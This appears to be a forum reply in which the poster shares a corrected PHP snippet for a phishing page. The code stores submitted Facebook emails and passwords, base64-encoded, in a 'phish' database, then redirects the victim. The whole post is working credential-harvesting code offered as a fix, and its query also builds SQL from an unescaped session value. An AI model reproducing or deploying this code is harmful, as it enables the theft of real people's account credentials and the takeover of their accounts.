I've got the answer i had to change it
TO:
<?php
if($_POST['email'] != "" && $_POST['pass'] != "")
{
login();
$db="phish";
mysql_select_db($db);
$sql = "INSERT INTO facebook(username,password,ref) VALUES ('".base64_encode($_POST['email'])."','".base64_encode($_POST['pass'])."','".$_SESSION['ref']."')";
mysql_query($sql);
mysql_close($verbinding);
?>
<script>
alert("alert here");
window.location.href="url-here";
</script>
<?php
}
?>
I just removed the if(isset($_POST['login'])) and used some additional javascript to get it working ;)